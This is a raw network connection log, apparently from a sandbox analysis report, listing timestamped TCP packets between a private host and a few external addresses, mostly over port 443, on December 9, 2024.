Dec 9, 2024 06:50:39.939676046 CET	49938	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.939721107 CET	49939	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.939882040 CET	49939	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.939882040 CET	49938	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.939892054 CET	443	49939	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.939903021 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.992286921 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.992758036 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.992774010 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.993232012 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.993237019 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.104084969 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.107892990 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.107970953 CET	49934	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.108016968 CET	49934	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.108036995 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.108048916 CET	49934	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.108055115 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.110765934 CET	49940	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.110816002 CET	443	49940	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.110919952 CET	49940	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.111099958 CET	49940	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.111118078 CET	443	49940	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.425163984 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.425199986 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.425251961 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.425287008 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.425321102 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.425606966 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.425627947 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.425671101 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.425676107 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.428885937 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.428942919 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:40.429097891 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.429306030 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:40.429318905 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.882514000 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.883059978 CET	49937	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:41.883090973 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.883899927 CET	443	49940	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.883908987 CET	443	49939	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.883939981 CET	49937	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:41.883946896 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.884093046 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.884314060 CET	49940	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:41.884327888 CET	443	49940	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.884644032 CET	49940	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:41.884649992 CET	443	49940	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.885005951 CET	49939	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:41.885011911 CET	443	49939	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.885231972 CET	49938	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:41.885240078 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.885617971 CET	49939	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:41.885620117 CET	49938	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:41.885622978 CET	443	49939	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:41.885631084 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.146205902 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.146797895 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.146830082 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.147248983 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.147253036 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.316284895 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.316389084 CET	443	49940	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.316565990 CET	443	49939	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.316936016 CET	443	49939	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.317991972 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.318027020 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.318077087 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.318078041 CET	49939	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.318120956 CET	49938	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.318346024 CET	49938	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.318363905 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.319482088 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.319742918 CET	49939	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.319777012 CET	443	49939	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.319802999 CET	49937	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.319802999 CET	49939	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.319822073 CET	443	49939	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.320139885 CET	443	49940	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.320275068 CET	49940	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.320275068 CET	49940	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.320327044 CET	49940	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.320338964 CET	443	49940	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.321875095 CET	49937	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.321886063 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.321901083 CET	49937	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.321903944 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.324253082 CET	49942	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.324265957 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.324476004 CET	49942	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.326848030 CET	49943	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.326884031 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.327090025 CET	49943	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.327261925 CET	49942	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.327272892 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.327519894 CET	49944	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.327549934 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.327620983 CET	49944	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.328016043 CET	49944	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.328032970 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.328834057 CET	49943	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.328864098 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.330315113 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.330348969 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.330418110 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.330566883 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.330579042 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.578950882 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.582847118 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.582895041 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.582938910 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.582957029 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.583180904 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.583199024 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.583209038 CET	49941	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.583214045 CET	443	49941	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.585887909 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.585931063 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:42.586014032 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.587121010 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:42.587150097 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.039092064 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.039613008 CET	49944	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.039638042 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.040087938 CET	49944	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.040092945 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.040839911 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.040992975 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.041218042 CET	49942	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.041230917 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.041563988 CET	49942	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.041568995 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.041618109 CET	49943	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.041651964 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.041956902 CET	49943	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.041961908 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.042953968 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.043258905 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.043281078 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.043595076 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.043600082 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.304106951 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.304816961 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.304847002 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.305711985 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.305716991 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.473445892 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.474136114 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.474210978 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.474214077 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.474293947 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.474366903 CET	49942	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.474390984 CET	49943	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.474484921 CET	49943	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.474503994 CET	49942	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.474508047 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.474519968 CET	49943	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.474522114 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.474525928 CET	443	49943	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.474549055 CET	49942	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.474555969 CET	443	49942	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.476300955 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.476329088 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.476368904 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.476416111 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.476455927 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.476783991 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.476799011 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.476814032 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.476825953 CET	49945	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.476831913 CET	443	49945	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.476844072 CET	49944	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.477870941 CET	49947	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.477899075 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.477972031 CET	49947	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.478136063 CET	49944	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.478144884 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.478180885 CET	49944	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.478184938 CET	443	49944	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.478516102 CET	49948	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.478550911 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.478625059 CET	49948	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.479003906 CET	49947	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.479017973 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.479099035 CET	49948	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.479113102 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.479356050 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.479391098 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.479595900 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.479712963 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.479726076 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.480715036 CET	49950	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.480732918 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.480787992 CET	49950	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.480916977 CET	49950	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.480926991 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.737503052 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.740998983 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.741055012 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.741056919 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.741162062 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.741162062 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.741183043 CET	49946	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.741199017 CET	443	49946	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.744234085 CET	49951	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.744273901 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:44.744369030 CET	49951	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.744682074 CET	49951	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:44.744694948 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:45.685326099 CET	80	49930	23.111.175.138	192.168.2.11
Dec 9, 2024 06:50:45.686975002 CET	49930	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:50:46.198215961 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.198385000 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.198961973 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.199217081 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.201519966 CET	49950	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.201529026 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.202058077 CET	49950	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.202061892 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.207961082 CET	49947	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.208007097 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.208677053 CET	49947	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.208683014 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.209104061 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.209135056 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.209570885 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.209577084 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.209872007 CET	49948	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.209878922 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.210294008 CET	49948	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.210298061 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.462121964 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.475109100 CET	49951	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.475152969 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.475814104 CET	49951	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.475831032 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.631781101 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.632791042 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.634397984 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.634525061 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.634577990 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.634778976 CET	49950	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.634923935 CET	49950	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.634928942 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.634938002 CET	49950	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.634942055 CET	443	49950	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.635401011 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.635472059 CET	49947	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.636063099 CET	49947	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.636069059 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.636081934 CET	49947	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.636086941 CET	443	49947	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.636564016 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.636609077 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.636607885 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.636646986 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.637042046 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.637054920 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.637079000 CET	49949	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.637084007 CET	443	49949	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.637521982 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.637571096 CET	49948	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.638504982 CET	49948	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.638520956 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.638531923 CET	49948	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.638535976 CET	443	49948	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.639056921 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.639075994 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.639132977 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.639734030 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.639744043 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.641220093 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.641244888 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.641304970 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.641458988 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.641472101 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.641499043 CET	49954	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.641509056 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.641566992 CET	49954	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.642018080 CET	49954	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.642029047 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.643244982 CET	49955	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.643253088 CET	443	49955	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.643316031 CET	49955	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.643429041 CET	49955	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.643435955 CET	443	49955	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.896590948 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.899852991 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.899912119 CET	49951	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.900038004 CET	49951	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.900038004 CET	49951	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.900059938 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.900074005 CET	443	49951	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.902925014 CET	49957	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.902956963 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:46.903021097 CET	49957	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.903466940 CET	49957	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:46.903476954 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.352827072 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.353452921 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.353475094 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.353893042 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.353898048 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.397388935 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.397450924 CET	443	49955	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.398257971 CET	49954	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.398278952 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.398329020 CET	49955	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.398365021 CET	443	49955	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.398860931 CET	49954	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.398865938 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.398948908 CET	49955	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.398955107 CET	443	49955	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.400013924 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.400433064 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.400443077 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.400940895 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.400948048 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.407931089 CET	49959	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:48.527308941 CET	80	49959	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:48.529042959 CET	49959	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:48.542284012 CET	49959	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:48.619204998 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.619760036 CET	49957	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.619822025 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.620218039 CET	49957	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.620223045 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.661809921 CET	80	49959	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:48.797182083 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.798628092 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.798676968 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.798686981 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.798732042 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.798814058 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.798827887 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.798858881 CET	49952	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.798863888 CET	443	49952	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.801549911 CET	49960	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.801589012 CET	443	49960	13.107.246.63	192.168.2.11
